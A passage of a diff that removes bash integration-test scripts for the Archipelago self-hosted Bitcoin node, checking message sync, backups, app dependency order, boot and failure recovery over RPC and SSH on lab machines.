"http://${NODE_B}:5678/rpc/v1" >/dev/null 2>&1
|
||||
|
||||
# Sync .198 → .228
|
||||
trigger_sync_and_wait "$NODE_B" "$session_b" "$csrf_b" 120 >/dev/null 2>&1
|
||||
|
||||
# Pull on .228
|
||||
trigger_sync_and_wait "$NODE_A" "$session_a" "$csrf_a" 120 >/dev/null 2>&1
|
||||
|
||||
# Check 6: Query on .228 — should have 3 from .228 + synced from .198
|
||||
query_result_a=$(curl -s -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Cookie: session=${session_a}; csrf_token=${csrf_a}" \
|
||||
-H "X-CSRF-Token: ${csrf_a}" \
|
||||
-d "{\"method\":\"dwn.query-messages\",\"params\":{\"protocol\":\"${iter_protocol}\"}}" \
|
||||
"http://${NODE_A}:5678/rpc/v1" 2>/dev/null)
|
||||
msg_count_a=$(echo "$query_result_a" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('result',{}).get('count',0))" 2>/dev/null || echo "0")
|
||||
if [[ "$msg_count_a" -ge 4 ]]; then
|
||||
tap_ok "US08-A-bidirectional-${i} # count=${msg_count_a}"
|
||||
else
|
||||
tap_fail "US08-A-bidirectional-${i}" "Expected >=4 messages on .228, got ${msg_count_a}"
|
||||
fi
|
||||
done
|
||||
|
||||
# Clean up test protocols
|
||||
for node in "$NODE_A" "$NODE_B"; do
|
||||
session_header=$(get_session "$node")
|
||||
sv=$(echo "$session_header" | sed -n 's/.*session=\([^;]*\).*/\1/p')
|
||||
cv=$(echo "$session_header" | sed -n 's/.*csrf_token=\([^;]*\).*/\1/p')
|
||||
for ci in $(seq 1 "$ITERATIONS"); do
|
||||
curl -s -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Cookie: session=${sv}; csrf_token=${cv}" \
|
||||
-H "X-CSRF-Token: ${cv}" \
|
||||
-d "{\"method\":\"dwn.remove-protocol\",\"params\":{\"protocol\":\"${TEST_PROTOCOL}-${ci}\"}}" \
|
||||
"http://${node}:5678/rpc/v1" >/dev/null 2>&1
|
||||
done
|
||||
done
|
||||
|
||||
# ═══════════════════════════════════════════════════════════════════════════
|
||||
# US-09: NIP-07 Signing
|
||||
# ═══════════════════════════════════════════════════════════════════════════
|
||||
echo ""
|
||||
echo "# --- US-09: NIP-07 Signing ---"
|
||||
|
||||
for node in "$NODE_A" "$NODE_B"; do
|
||||
node_label=$([[ "$node" == "$NODE_A" ]] && echo "A(.228)" || echo "B(.198)")
|
||||
for i in $(seq 1 "$ITERATIONS"); do
|
||||
# Check: nostr-provider.js injected in app pages
|
||||
provider=$(curl -s --connect-timeout 5 "http://${node}/app/mempool/" 2>/dev/null | grep -c "nostr-provider" || echo "0")
|
||||
if [[ "$provider" -gt 0 ]]; then
|
||||
tap_ok "US09-${node_label}-provider-${i}"
|
||||
else
|
||||
tap_fail "US09-${node_label}-provider-${i}" "nostr-provider.js not found in /app/mempool/"
|
||||
fi
|
||||
done
|
||||
done
|
||||
|
||||
# ═══════════════════════════════════════════════════════════════════════════
|
||||
# US-10: Backup/Restore
|
||||
# ═══════════════════════════════════════════════════════════════════════════
|
||||
echo ""
|
||||
echo "# --- US-10: Backup/Restore ---"
|
||||
|
||||
BACKUP_PASS="test-backup-passphrase-$(date +%s)"
|
||||
|
||||
for node in "$NODE_A" "$NODE_B"; do
|
||||
node_label=$([[ "$node" == "$NODE_A" ]] && echo "A(.228)" || echo "B(.198)")
|
||||
|
||||
session_header=$(get_session "$node")
|
||||
bk_session=$(echo "$session_header" | sed -n 's/.*session=\([^;]*\).*/\1/p')
|
||||
bk_csrf=$(echo "$session_header" | sed -n 's/.*csrf_token=\([^;]*\).*/\1/p')
|
||||
|
||||
for i in $(seq 1 "$ITERATIONS"); do
|
||||
desc="test-backup-${node_label}-${i}"
|
||||
|
||||
# Check 1: Create encrypted backup
|
||||
create_result=$(curl -s --max-time 30 -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Cookie: session=${bk_session}; csrf_token=${bk_csrf}" \
|
||||
-H "X-CSRF-Token: ${bk_csrf}" \
|
||||
-d "{\"method\":\"backup.create\",\"params\":{\"passphrase\":\"${BACKUP_PASS}\",\"description\":\"${desc}\"}}" \
|
||||
"http://${node}:5678/rpc/v1" 2>/dev/null)
|
||||
backup_id=$(echo "$create_result" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('result',{}).get('id',''))" 2>/dev/null || echo "")
|
||||
if [[ -n "$backup_id" && "$backup_id" != "None" ]]; then
|
||||
tap_ok "US10-${node_label}-create-${i} # id=${backup_id:0:8}"
|
||||
else
|
||||
tap_fail "US10-${node_label}-create-${i}" "create failed: ${create_result:0:100}"
|
||||
continue
|
||||
fi
|
||||
|
||||
# Check 2: List backups — verify our backup appears
|
||||
list_result=$(curl -s --max-time 10 -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Cookie: session=${bk_session}; csrf_token=${bk_csrf}" \
|
||||
-H "X-CSRF-Token: ${bk_csrf}" \
|
||||
-d '{"method":"backup.list"}' \
|
||||
"http://${node}:5678/rpc/v1" 2>/dev/null)
|
||||
found=$(echo "$list_result" | python3 -c "import sys,json; d=json.load(sys.stdin); bks=d.get('result',{}).get('backups',[]); print('yes' if any(b.get('id')=='${backup_id}' for b in bks) else 'no')" 2>/dev/null || echo "error")
|
||||
if [[ "$found" == "yes" ]]; then
|
||||
tap_ok "US10-${node_label}-list-${i}"
|
||||
else
|
||||
tap_fail "US10-${node_label}-list-${i}" "backup ${backup_id:0:8} not in list"
|
||||
fi
|
||||
|
||||
# Check 3: Verify backup integrity
|
||||
verify_result=$(curl -s --max-time 30 -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Cookie: session=${bk_session}; csrf_token=${bk_csrf}" \
|
||||
-H "X-CSRF-Token: ${bk_csrf}" \
|
||||
-d "{\"method\":\"backup.verify\",\"params\":{\"id\":\"${backup_id}\",\"passphrase\":\"${BACKUP_PASS}\"}}" \
|
||||
"http://${node}:5678/rpc/v1" 2>/dev/null)
|
||||
valid=$(echo "$verify_result" | python3 -c "import sys,json; d=json.load(sys.stdin); print('yes' if d.get('result',{}).get('valid') else 'no')" 2>/dev/null || echo "error")
|
||||
if [[ "$valid" == "yes" ]]; then
|
||||
tap_ok "US10-${node_label}-verify-${i}"
|
||||
else
|
||||
tap_fail "US10-${node_label}-verify-${i}" "verify failed: ${verify_result:0:100}"
|
||||
fi
|
||||
|
||||
# Check 4: Delete backup
|
||||
delete_result=$(curl -s --max-time 10 -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Cookie: session=${bk_session}; csrf_token=${bk_csrf}" \
|
||||
-H "X-CSRF-Token: ${bk_csrf}" \
|
||||
-d "{\"method\":\"backup.delete\",\"params\":{\"id\":\"${backup_id}\"}}" \
|
||||
"http://${node}:5678/rpc/v1" 2>/dev/null)
|
||||
deleted=$(echo "$delete_result" | python3 -c "import sys,json; d=json.load(sys.stdin); print('yes' if d.get('result',{}).get('deleted') else 'no')" 2>/dev/null || echo "error")
|
||||
if [[ "$deleted" == "yes" ]]; then
|
||||
tap_ok "US10-${node_label}-delete-${i}"
|
||||
else
|
||||
tap_fail "US10-${node_label}-delete-${i}" "delete failed: ${delete_result:0:100}"
|
||||
fi
|
||||
done
|
||||
done
|
||||
|
||||
# ═══════════════════════════════════════════════════════════════════════════
|
||||
# US-15: Boot Recovery
|
||||
# ═══════════════════════════════════════════════════════════════════════════
|
||||
echo ""
|
||||
echo "# --- US-15: Boot Recovery ---"
|
||||
|
||||
if [[ "$SKIP_REBOOT" == "false" ]]; then
|
||||
REBOOT_ITERATIONS=3
|
||||
|
||||
for node in "$NODE_A" "$NODE_B"; do
|
||||
node_label=$([[ "$node" == "$NODE_A" ]] && echo "A(.228)" || echo "B(.198)")
|
||||
|
||||
for ri in $(seq 1 "$REBOOT_ITERATIONS"); do
|
||||
echo "# [$(date +%H:%M:%S)] Reboot test ${ri}/${REBOOT_ITERATIONS} on ${node_label}"
|
||||
|
||||
# Record container count before reboot
|
||||
pre_count=$(ssh_sudo "$node" "podman ps --format '{{.Names}}' | wc -l" 2>/dev/null | tail -1 | tr -d '[:space:]')
|
||||
echo "# Pre-reboot containers: ${pre_count}"
|
||||
|
||||
# Reboot the node
|
||||
ssh_sudo "$node" "reboot" 2>/dev/null || true
|
||||
|
||||
# Wait for SSH to come back (poll every 10s, max 180s)
|
||||
echo "# Waiting for SSH..."
|
||||
ssh_back=false
|
||||
for poll in $(seq 1 18); do
|
||||
sleep 10
|
||||
if ssh ${SSH_OPTS} "archipelago@${node}" "echo ok" 2>/dev/null | grep -q ok; then
|
||||
ssh_back=true
|
||||
echo "# SSH back after $((poll * 10))s"
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
if [[ "$ssh_back" != "true" ]]; then
|
||||
tap_fail "US15-${node_label}-ssh-back-${ri}" "SSH not available after 180s"
|
||||
continue
|
||||
fi
|
||||
|
||||
# Wait for backend health (poll every 5s, max 120s)
|
||||
echo "# Waiting for backend health..."
|
||||
health_ok=false
|
||||
for poll in $(seq 1 24); do
|
||||
sleep 5
|
||||
if curl -s --max-time 5 "http://${node}/health" 2>/dev/null | grep -q OK; then
|
||||
health_ok=true
|
||||
echo "# Health OK after $((poll * 5))s"
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
if [[ "$health_ok" == "true" ]]; then
|
||||
tap_ok "US15-${node_label}-health-${ri}"
|
||||
else
|
||||
tap_fail "US15-${node_label}-health-${ri}" "Backend not healthy after 120s"
|
||||
continue
|
||||
fi
|
||||
|
||||
# Wait an additional 30s for containers to finish starting
|
||||
sleep 30
|
||||
|
||||
# Verify containers recovered
|
||||
post_count=$(ssh_sudo "$node" "podman ps --format '{{.Names}}' | wc -l" 2>/dev/null | tail -1 | tr -d '[:space:]')
|
||||
exited=$(ssh_sudo "$node" "podman ps -a --format '{{.State}}' | grep -c -i exited" 2>/dev/null || echo "0")
|
||||
exited=$(echo "$exited" | tail -1 | tr -d '[:space:]')
|
||||
|
||||
echo "# Post-reboot containers: ${post_count} (was ${pre_count}), exited: ${exited}"
|
||||
|
||||
# Check: container count recovered (within 3 of pre-reboot)
|
||||
if [[ -n "$post_count" ]] && [[ -n "$pre_count" ]] && [[ "$post_count" -ge $((pre_count - 3)) ]]; then
|
||||
tap_ok "US15-${node_label}-containers-recovered-${ri} # ${post_count}/${pre_count}"
|
||||
else
|
||||
tap_fail "US15-${node_label}-containers-recovered-${ri}" "Only ${post_count:-0}/${pre_count:-?} containers"
|
||||
fi
|
||||
|
||||
# Check: no containers exited
|
||||
if [[ "$exited" == "0" ]]; then
|
||||
tap_ok "US15-${node_label}-no-exited-${ri}"
|
||||
else
|
||||
tap_fail "US15-${node_label}-no-exited-${ri}" "${exited} containers exited"
|
||||
fi
|
||||
done
|
||||
done
|
||||
else
|
||||
echo "# SKIPPED (--skip-reboot flag set)"
|
||||
fi
|
||||
|
||||
# ═══════════════════════════════════════════════════════════════════════════
|
||||
# Summary
|
||||
# ═══════════════════════════════════════════════════════════════════════════
|
||||
echo ""
|
||||
TOTAL=$((PASS + FAIL))
|
||||
echo "1..${TOTAL}"
|
||||
echo ""
|
||||
echo "# ═══════════════════════════════════════════════════════════════"
|
||||
echo "# Results: ${PASS} passed, ${FAIL} failed, ${TOTAL} total"
|
||||
echo "# Finished: $(date -u +%Y-%m-%dT%H:%M:%SZ)"
|
||||
echo "# ═══════════════════════════════════════════════════════════════"
|
||||
|
||||
if [[ "$FAIL" -gt 0 ]]; then
|
||||
exit 1
|
||||
fi
|
||||
exit 0
|
||||
@@ -1,143 +0,0 @@
|
||||
#!/bin/bash
|
||||
set -euo pipefail
|
||||
# TEST-202: Dependency chain test.
|
||||
# Tests that apps with dependencies properly enforce install order.
|
||||
#
|
||||
# Test chains:
|
||||
# 1. electrs → requires bitcoin-knots
|
||||
# 2. btcpay-server → requires lnd
|
||||
# 3. mempool → requires bitcoin-knots + electrs
|
||||
# 4. fedimint-gateway → requires fedimint + lnd
|
||||
|
||||
SSH_KEY="${ARCHIPELAGO_SSH_KEY:-$HOME/.ssh/archipelago-deploy}"
|
||||
TARGET="archipelago@192.168.1.228"
|
||||
SSH_CMD="ssh -i $SSH_KEY -o StrictHostKeyChecking=no $TARGET"
|
||||
PASSWORD="password123"
|
||||
|
||||
PASS=0
|
||||
FAIL=0
|
||||
RESULTS=()
|
||||
|
||||
log() { echo -e "\033[1;34m[TEST]\033[0m $*"; }
|
||||
pass() { echo -e "\033[1;32m[PASS]\033[0m $*"; PASS=$((PASS + 1)); RESULTS+=("PASS: $*"); }
|
||||
fail() { echo -e "\033[1;31m[FAIL]\033[0m $*"; FAIL=$((FAIL + 1)); RESULTS+=("FAIL: $*"); }
|
||||
|
||||
get_session() {
|
||||
$SSH_CMD "curl -s -c - http://localhost:5678/rpc/v1 \
|
||||
-X POST -H 'Content-Type: application/json' \
|
||||
-d '{\"method\":\"auth.login\",\"params\":{\"password\":\"$PASSWORD\"}}' 2>/dev/null \
|
||||
| grep session | awk '{print \$NF}'"
|
||||
}
|
||||
|
||||
rpc_call() {
|
||||
local session="$1" method="$2" params="${3:-{}}"
|
||||
$SSH_CMD "curl -s http://localhost:5678/rpc/v1 \
|
||||
-X POST -H 'Content-Type: application/json' \
|
||||
-H 'Cookie: session=$session' \
|
||||
-d '{\"method\":\"$method\",\"params\":$params}' 2>/dev/null"
|
||||
}
|
||||
|
||||
# Test that installing an app without its dependency fails with a dependency error
|
||||
test_dep_blocked() {
|
||||
local session="$1"
|
||||
local app_id="$2"
|
||||
local dep_name="$3"
|
||||
|
||||
log "Testing: $app_id should require $dep_name"
|
||||
local result
|
||||
result=$(rpc_call "$session" "package.install" "{\"id\":\"$app_id\"}")
|
||||
|
||||
if echo "$result" | grep -qi "dependency\|requires\|must be\|needs"; then
|
||||
pass "$app_id correctly blocked — requires $dep_name"
|
||||
elif echo "$result" | grep -q '"error"'; then
|
||||
# Got an error, might still be dependency-related
|
||||
local msg
|
||||
msg=$(echo "$result" | grep -o '"message":"[^"]*"' | head -1 | sed 's/"message":"//;s/"$//')
|
||||
if echo "$msg" | grep -qi "$dep_name\|depend\|running\|install"; then
|
||||
pass "$app_id correctly blocked: $msg"
|
||||
else
|
||||
fail "$app_id — got error but not dependency-related: $msg"
|
||||
fi
|
||||
else
|
||||
# Install succeeded when it shouldn't have — clean up
|
||||
rpc_call "$session" "package.uninstall" "{\"id\":\"$app_id\"}" > /dev/null 2>&1 || true
|
||||
fail "$app_id — installed without $dep_name (should have been blocked)"
|
||||
fi
|
||||
}
|
||||
|
||||
container_running() {
|
||||
local session="$1" app_id="$2"
|
||||
local result
|
||||
result=$(rpc_call "$session" "container-list")
|
||||
echo "$result" | grep -q "\"$app_id\"" && return 0 || return 1
|
||||
}
|
||||
|
||||
main() {
|
||||
log "=== Dependency Chain Test ==="
|
||||
echo ""
|
||||
|
||||
log "Authenticating..."
|
||||
local session
|
||||
session=$(get_session)
|
||||
if [ -z "$session" ]; then
|
||||
echo "Failed to authenticate. Exiting."
|
||||
exit 1
|
||||
fi
|
||||
log "Session: ${session:0:8}..."
|
||||
echo ""
|
||||
|
||||
# Check current state — which deps are already running
|
||||
local bitcoin_running=false lnd_running=false electrs_running=false fedimint_running=false
|
||||
|
||||
if container_running "$session" "bitcoin-knots"; then
|
||||
bitcoin_running=true
|
||||
log "bitcoin-knots is already running"
|
||||
fi
|
||||
if container_running "$session" "lnd"; then
|
||||
lnd_running=true
|
||||
log "lnd is already running"
|
||||
fi
|
||||
if container_running "$session" "electrs"; then
|
||||
electrs_running=true
|
||||
log "electrs is already running"
|
||||
fi
|
||||
if container_running "$session" "fedimint"; then
|
||||
fedimint_running=true
|
||||
log "fedimint is already running"
|
||||
fi
|
||||
echo ""
|
||||
|
||||
# Test 1: electrs requires bitcoin-knots
|
||||
if [ "$bitcoin_running" = false ]; then
|
||||
test_dep_blocked "$session" "electrs" "bitcoin"
|
||||
else
|
||||
log "SKIP: electrs dep test — bitcoin-knots already running"
|
||||
fi
|
||||
|
||||
# Test 2: btcpay-server requires lnd
|
||||
if [ "$lnd_running" = false ]; then
|
||||
test_dep_blocked "$session" "btcpay-server" "lnd"
|
||||
else
|
||||
log "SKIP: btcpay dep test — lnd already running"
|
||||
fi
|
||||
|
||||
# Test 3: mempool requires bitcoin-knots + electrs
|
||||
if [ "$bitcoin_running" = false ] || [ "$electrs_running" = false ]; then
|
||||
test_dep_blocked "$session" "mempool" "bitcoin"
|
||||
else
|
||||
log "SKIP: mempool dep test — deps already running"
|
||||
fi
|
||||
|
||||
echo ""
|
||||
log "=== RESULTS ==="
|
||||
for r in "${RESULTS[@]:-}"; do
|
||||
[ -n "$r" ] && echo " $r"
|
||||
done
|
||||
echo ""
|
||||
log "Pass: $PASS | Fail: $FAIL"
|
||||
|
||||
[ $FAIL -gt 0 ] && exit 1
|
||||
exit 0
|
||||
}
|
||||
|
||||
main "$@"
|
||||
@@ -1,191 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
# test-failure-recovery.sh — Inject failures and verify auto-recovery
|
||||
#
|
||||
# Tests resilience scenarios on the primary server:
|
||||
# 1. Container crash → health monitor auto-restart
|
||||
# 2. Backend restart → service recovers, containers intact
|
||||
# 3. Tor restart → hidden services recover
|
||||
# 4. Full reboot → everything comes back up
|
||||
#
|
||||
# Usage: ./scripts/test-failure-recovery.sh [target-ip]
|
||||
# --skip-reboot: skip the reboot test (default: included)
|
||||
|
||||
set -uo pipefail
|
||||
|
||||
TARGET="${1:-192.168.1.228}"
|
||||
SKIP_REBOOT="${2:-}"
|
||||
SSH_KEY="${ARCHIPELAGO_SSH_KEY:-$HOME/.ssh/archipelago-deploy}"
|
||||
SSH="ssh -i $SSH_KEY -o StrictHostKeyChecking=no -o ConnectTimeout=10 archipelago@$TARGET"
|
||||
PASS=0
|
||||
FAIL=0
|
||||
|
||||
check() {
|
||||
local name="$1"
|
||||
local ok="$2"
|
||||
if [ "$ok" = "true" ]; then
|
||||
echo " ✅ $name"
|
||||
((PASS++))
|
||||
else
|
||||
echo " ❌ $name"
|
||||
((FAIL++))
|
||||
fi
|
||||
}
|
||||
|
||||
wait_for_health() {
|
||||
local max_wait="$1"
|
||||
local desc="$2"
|
||||
echo " Waiting for health (max ${max_wait}s)..."
|
||||
for i in $(seq 1 $max_wait); do
|
||||
STATUS=$($SSH "curl -s -o /dev/null -w '%{http_code}' --max-time 5 http://localhost/health" 2>/dev/null || echo "000")
|
||||
if [ "$STATUS" = "200" ]; then
|
||||
echo " Healthy after ${i}s"
|
||||
return 0
|
||||
fi
|
||||
sleep 1
|
||||
done
|
||||
echo " NOT healthy after ${max_wait}s"
|
||||
return 1
|
||||
}
|
||||
|
||||
wait_for_container() {
|
||||
local name="$1"
|
||||
local max_wait="$2"
|
||||
echo " Waiting for $name to be running (max ${max_wait}s)..."
|
||||
for i in $(seq 1 $((max_wait / 5))); do
|
||||
STATUS=$($SSH "sudo podman inspect $name --format '{{.State.Status}}' 2>/dev/null" 2>/dev/null | tr -d '[:space:]')
|
||||
if [ "$STATUS" = "running" ]; then
|
||||
echo " $name running after ~$((i * 5))s"
|
||||
return 0
|
||||
fi
|
||||
sleep 5
|
||||
done
|
||||
echo " $name NOT running after ${max_wait}s"
|
||||
return 1
|
||||
}
|
||||
|
||||
echo "💥 Failure Recovery Test — $TARGET"
|
||||
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
|
||||
|
||||
# ━━━ Scenario 1: Container crash (bitcoin-knots) ━━━
|
||||
echo ""
|
||||
echo "Scenario 1: Container crash — bitcoin-knots"
|
||||
echo " Stopping bitcoin-knots..."
|
||||
$SSH "sudo podman stop bitcoin-knots 2>/dev/null" >/dev/null 2>&1
|
||||
|
||||
BK_STATUS=$($SSH "sudo podman inspect bitcoin-knots --format '{{.State.Status}}' 2>/dev/null" 2>/dev/null | tr -d '[:space:]')
|
||||
check "bitcoin-knots stopped" "$([ "$BK_STATUS" != "running" ] && echo true || echo false)"
|
||||
|
||||
# Wait for health monitor to detect and restart
|
||||
if wait_for_container "bitcoin-knots" 120; then
|
||||
check "Health monitor auto-restarted bitcoin-knots" "true"
|
||||
else
|
||||
check "Health monitor auto-restarted bitcoin-knots" "false"
|
||||
fi
|
||||
|
||||
# ━━━ Scenario 2: Backend restart ━━━
|
||||
echo ""
|
||||
echo "Scenario 2: Backend restart — systemctl restart archipelago"
|
||||
CONTAINERS_BEFORE=$($SSH "sudo podman ps --format '{{.Names}}' 2>/dev/null | wc -l" 2>/dev/null | tr -d '[:space:]')
|
||||
echo " Containers before: $CONTAINERS_BEFORE"
|
||||
|
||||
$SSH "sudo systemctl restart archipelago" >/dev/null 2>&1
|
||||
sleep 3
|
||||
|
||||
if wait_for_health 30 "backend"; then
|
||||
check "Backend recovered" "true"
|
||||
else
|
||||
check "Backend recovered" "false"
|
||||
fi
|
||||
|
||||
CONTAINERS_AFTER=$($SSH "sudo podman ps --format '{{.Names}}' 2>/dev/null | wc -l" 2>/dev/null | tr -d '[:space:]')
|
||||
check "Containers intact after backend restart ($CONTAINERS_AFTER)" "$([ "$CONTAINERS_AFTER" -ge "$((CONTAINERS_BEFORE - 1))" ] && echo true || echo false)"
|
||||
|
||||
# ━━━ Scenario 3: Tor restart ━━━
|
||||
echo ""
|
||||
echo "Scenario 3: Tor restart — systemctl restart tor"
|
||||
$SSH "sudo systemctl restart tor" >/dev/null 2>&1
|
||||
sleep 5
|
||||
|
||||
TOR_STATUS=$($SSH "sudo systemctl is-active tor" 2>/dev/null | tr -d '[:space:]')
|
||||
check "Tor service active" "$([ "$TOR_STATUS" = "active" ] && echo true || echo false)"
|
||||
|
||||
# Verify hostname still exists
|
||||
TOR_ADDR=$($SSH "cat /var/lib/archipelago/tor-hostnames/archipelago 2>/dev/null" 2>/dev/null | tr -d '[:space:]')
|
||||
check "Tor address still valid" "$(echo "$TOR_ADDR" | grep -q '.onion$' && echo true || echo false)"
|
||||
|
||||
# ━━━ Scenario 4: Full reboot ━━━
|
||||
if [ "$SKIP_REBOOT" = "--skip-reboot" ]; then
|
||||
echo ""
|
||||
echo "Scenario 4: Full reboot — SKIPPED (--skip-reboot)"
|
||||
else
|
||||
echo ""
|
||||
echo "Scenario 4: Full reboot"
|
||||
echo " Rebooting server..."
|
||||
$SSH "sudo reboot" >/dev/null 2>&1 || true
|
||||
|
||||
# Wait for server to go down
|
||||
sleep 15
|
||||
|
||||
# Wait for server to come back (max 180s)
|
||||
echo " Waiting for server to come back online..."
|
||||
BACK_ONLINE="false"
|
||||
for i in $(seq 1 36); do
|
||||
if $SSH "echo ok" >/dev/null 2>&1; then
|
||||
BACK_ONLINE="true"
|
||||
echo " SSH accessible after ~$((i * 5 + 15))s"
|
||||
break
|
||||
fi
|
||||
sleep 5
|
||||
done
|
||||
check "Server back online after reboot" "$BACK_ONLINE"
|
||||
|
||||
if [ "$BACK_ONLINE" = "true" ]; then
|
||||
# Wait for health
|
||||
if wait_for_health 120 "post-reboot"; then
|
||||
check "Backend healthy after reboot" "true"
|
||||
else
|
||||
check "Backend healthy after reboot" "false"
|
||||
fi
|
||||
|
||||
# Check containers — boot startup may take 30-60s to start all containers
|
||||
echo " Waiting 60s for boot container startup..."
|
||||
sleep 60
|
||||
CONTAINERS_REBOOT=$($SSH "sudo podman ps --format '{{.Names}}' 2>/dev/null | wc -l" 2>/dev/null | tr -d '[:space:]')
|
||||
check "Containers running after reboot ($CONTAINERS_REBOOT)" "$([ "$CONTAINERS_REBOOT" -ge 10 ] && echo true || echo false)"
|
||||
|
||||
# Check Tor
|
||||
TOR_REBOOT=$($SSH "sudo systemctl is-active tor" 2>/dev/null | tr -d '[:space:]')
|
||||
check "Tor active after reboot" "$([ "$TOR_REBOOT" = "active" ] && echo true || echo false)"
|
||||
fi
|
||||
fi
|
||||
|
||||
# ━━━ Scenario 5: Tor traffic block ━━━
|
||||
echo ""
|
||||
echo "Scenario 5: Tor traffic block (10s)"
|
||||
echo " Blocking Tor traffic..."
|
||||
$SSH "sudo iptables -A OUTPUT -p tcp --dport 9001 -j DROP && sudo iptables -A OUTPUT -p tcp --dport 9050 -j DROP" 2>/dev/null
|
||||
|
||||
sleep 10
|
||||
|
||||
echo " Unblocking Tor traffic..."
|
||||
$SSH "sudo iptables -D OUTPUT -p tcp --dport 9001 -j DROP 2>/dev/null; sudo iptables -D OUTPUT -p tcp --dport 9050 -j DROP 2>/dev/null" 2>/dev/null
|
||||
|
||||
sleep 5
|
||||
TOR_AFTER_BLOCK=$($SSH "sudo systemctl is-active tor" 2>/dev/null | tr -d '[:space:]')
|
||||
check "Tor recovered after traffic block" "$([ "$TOR_AFTER_BLOCK" = "active" ] && echo true || echo false)"
|
||||
|
||||
HEALTH_AFTER=$($SSH "curl -s -o /dev/null -w '%{http_code}' http://localhost/health" 2>/dev/null)
|
||||
check "Backend healthy after Tor block" "$([ "$HEALTH_AFTER" = "200" ] && echo true || echo false)"
|
||||
|
||||
# ━━━ SUMMARY ━━━
|
||||
echo ""
|
||||
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
|
||||
echo "Results: $PASS passed, $FAIL failed"
|
||||
|
||||
if [ $FAIL -eq 0 ]; then
|
||||
echo "✅ All failure recovery tests passed!"
|
||||
else
|
||||
echo "❌ $FAIL tests failed"
|
||||
fi
|
||||
|
||||
[ $FAIL -eq 0 ] && exit 0 || exit 1
|
||||
@@ -1,144 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
# INSTALL-01: First Install Verification Test
|
||||
# Tests that a freshly installed Archipelago node has all core services operational.
|
||||
# Usage: bash scripts/test-first-install.sh [host] [password]
|
||||
|
||||
set -uo pipefail
|
||||
|
||||
HOST="${1:-192.168.1.228}"
|
||||
PASS="${2:-password123}"
|
||||
PASS_COUNT=0
|
||||
FAIL_COUNT=0
|
||||
SSH_KEY="${ARCHIPELAGO_SSH_KEY:-$HOME/.ssh/archipelago-deploy}"
|
||||
|
||||
green() { printf "\033[32m PASS \033[0m %s\n" "$1"; ((PASS_COUNT++)); }
|
||||
red() { printf "\033[31m FAIL \033[0m %s\n" "$1"; ((FAIL_COUNT++)); }
|
||||
header(){ printf "\n\033[1;36m--- %s ---\033[0m\n" "$1"; }
|
||||
|
||||
rpc() {
|
||||
local method="$1"
|
||||
local params="${2:-{}}"
|
||||
ssh -i "$SSH_KEY" -o StrictHostKeyChecking=no "archipelago@${HOST}" \
|
||||
"curl -s -c /tmp/test-cookies.txt -b /tmp/test-cookies.txt -X POST http://localhost/rpc/v1 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H \"X-CSRF-Token: \$(grep csrf_token /tmp/test-cookies.txt 2>/dev/null | awk '{print \$NF}')\" \
|
||||
-d '{\"method\":\"$method\",\"params\":$params}'" 2>/dev/null
|
||||
}
|
||||
|
||||
header "Authentication"
|
||||
LOGIN=$(ssh -i "$SSH_KEY" -o StrictHostKeyChecking=no "archipelago@${HOST}" \
|
||||
"curl -s -c /tmp/test-cookies.txt -X POST http://localhost/rpc/v1 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{\"method\":\"auth.login\",\"params\":{\"password\":\"$PASS\"}}'" 2>/dev/null)
|
||||
if echo "$LOGIN" | grep -q '"error":null'; then
|
||||
green "Login successful"
|
||||
else
|
||||
red "Login failed: $LOGIN"
|
||||
echo "Cannot continue without authentication."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
header "1. Node DID"
|
||||
DID_RESULT=$(rpc "node.did")
|
||||
DID=$(echo "$DID_RESULT" | python3 -c "import sys,json; print(json.load(sys.stdin).get('result',{}).get('did',''))" 2>/dev/null)
|
||||
if [[ "$DID" == did:key:z* ]]; then
|
||||
green "Node DID format valid: ${DID:0:32}..."
|
||||
else
|
||||
red "Invalid DID format: $DID"
|
||||
fi
|
||||
|
||||
header "2. Nostr Pubkey"
|
||||
NOSTR_RESULT=$(rpc "node.nostr-pubkey")
|
||||
NPUB=$(echo "$NOSTR_RESULT" | python3 -c "import sys,json; r=json.load(sys.stdin).get('result',{}); print(r.get('nostr_npub',''))" 2>/dev/null)
|
||||
HEX=$(echo "$NOSTR_RESULT" | python3 -c "import sys,json; r=json.load(sys.stdin).get('result',{}); print(r.get('nostr_pubkey',''))" 2>/dev/null)
|
||||
if [[ "$NPUB" == npub1* ]] && [[ ${#HEX} -eq 64 ]]; then
|
||||
green "Nostr pubkey valid: npub=${NPUB:0:16}... hex=${HEX:0:16}..."
|
||||
else
|
||||
red "Invalid Nostr pubkey: npub=$NPUB hex=$HEX"
|
||||
fi
|
||||
|
||||
header "3. Identity Create"
|
||||
ID_RESULT=$(rpc "identity.create" '{"name":"Test User"}')
|
||||
ID_DID=$(echo "$ID_RESULT" | python3 -c "import sys,json; r=json.load(sys.stdin).get('result',{}); print(r.get('did',''))" 2>/dev/null)
|
||||
if [[ "$ID_DID" == did:key:* ]]; then
|
||||
green "Identity created with DID: ${ID_DID:0:32}..."
|
||||
else
|
||||
# May already exist, try listing
|
||||
LIST_RESULT=$(rpc "identity.list")
|
||||
LIST_COUNT=$(echo "$LIST_RESULT" | python3 -c "import sys,json; r=json.load(sys.stdin).get('result',{}); ids=r.get('identities',[]); print(len(ids))" 2>/dev/null)
|
||||
if [[ "$LIST_COUNT" -gt 0 ]]; then
|
||||
green "Identity exists ($LIST_COUNT identities found)"
|
||||
else
|
||||
red "Identity create failed: $ID_RESULT"
|
||||
fi
|
||||
fi
|
||||
|
||||
header "4. Identity List"
|
||||
LIST_RESULT=$(rpc "identity.list")
|
||||
